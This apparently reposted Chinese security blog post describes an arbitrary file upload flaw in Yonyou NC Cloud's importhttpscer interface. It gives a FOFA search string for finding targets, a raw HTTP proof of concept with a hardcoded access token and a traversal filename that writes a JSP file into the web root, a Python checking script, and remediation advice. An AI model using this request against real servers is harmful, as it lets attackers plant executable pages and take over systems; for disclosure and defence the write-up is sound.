• 用友NC Cloud importhttpscer接口任意文件上传漏洞


    声明
    本文仅用于技术交流,请勿用于非法用途
    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

    一、漏洞描述

    用友NC Cloud的importhttpscer接口如果存在任意文件上传漏洞,这是一个严重的安全问题,因为它可能被攻击者利用来执行恶意代码、窃取敏感数据或进行其他形式的攻击。

    二、fofa语法

    app="用友-NC-Cloud"

    三、影响版本

    用友NC Cloud

    四、poc 

    1. POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
    2. Host:
    3. User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
    4. Accept-Encoding: gzip, deflate
    5. Accept: */*
    6. Connection: close
    7. accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
    8. Content-Length: 190
    9. Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
    10. --fd28cb44e829ed1c197ec3bc71748df0
    11. Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/141172.jsp"
    12. <%out.println(1111*1111);%>
    13. --fd28cb44e829ed1c197ec3bc71748df0--

    五、漏洞复现 

    六、python检测脚本

    1. import requests
    2. def verify(ip):
    3. url = f'{ip}/nccloud/mob/pfxx/manualload/importhttpscer'
    4. header = {
    5. 'User-Agent':'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info',
    6. 'Accept-Encoding': 'gzip, deflate',
    7. 'Accept': '*/*',
    8. 'Connection': 'close',
    9. 'accessToken': 'eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA',
    10. 'Content-Length': '190',
    11. 'Content-Type': 'multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0',
    12. }
    13. payload = '''
    14. --fd28cb44e829ed1c197ec3bc71748df0
    15. Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/141172.jsp"
    16. <%out.println(1111*1111);%>
    17. --fd28cb44e829ed1c197ec3bc71748df0--
    18. '''
    19. try:
    20. response = requests.post(url, headers=header, data=payload,verify=False)
    21. # 验证成功输出相关信息
    22. if response.status_code == 200 and 'message' in response.text:
    23. print('用友NC Cloud importhttpscer接口存在任意文件上传漏洞,请尽快修复漏洞!!!')
    24. except Exception as e:
    25. pass
    26. if __name__ == '__main__':
    27. self = input('请输入目标主机IP地址:')
    28. verify(self)

    七、修复建议 

    1. 立即更新和修补:检查用友NC Cloud的官方更新和补丁,确保安装了所有安全更新。用友公司可能已经发布了针对此漏洞的修复程序。
    2. 限制访问:通过防火墙、IP白名单或其他访问控制机制限制对importhttpscer接口的访问。确保只有授权的用户和应用程序可以访问此接口。
    3. 输入验证和过滤:对上传的文件进行严格的输入验证和过滤,确保只接受预期的、安全的文件类型和格式。
    4. 文件上传目录权限:确保文件上传目录的权限设置得当,不允许未经授权的访问或执行。
    5. 使用HTTPS:确保所有与用友NC Cloud的通信都使用HTTPS进行加密,以防止数据在传输过程中被截获。
    6. Web应用防火墙(WAF):考虑部署WAF来监控和拦截恶意请求,增加一层安全防护。
  • 相关阅读:
    MySql事务
    Spring bean的生命周期
    使用singularity本地部署wandb
    Python使用turtle绘制简单图形-绘制“圆“turtle.circle()
    MobileNetV1架构解析
    【C++】从使用string类到模拟实现string类
    [c语言]小课堂 day1
    代码圈复杂度治理小结
    TCP/IP协议专栏——以太网帧中的 Padding 和 Trailer 关系详解——网络入门和工程维护必看
    交换机控制在同一个网段内的终端,用hybrid接口实现不同的IP通和不通。
  • 原文地址:https://blog.csdn.net/qq_56698744/article/details/138010716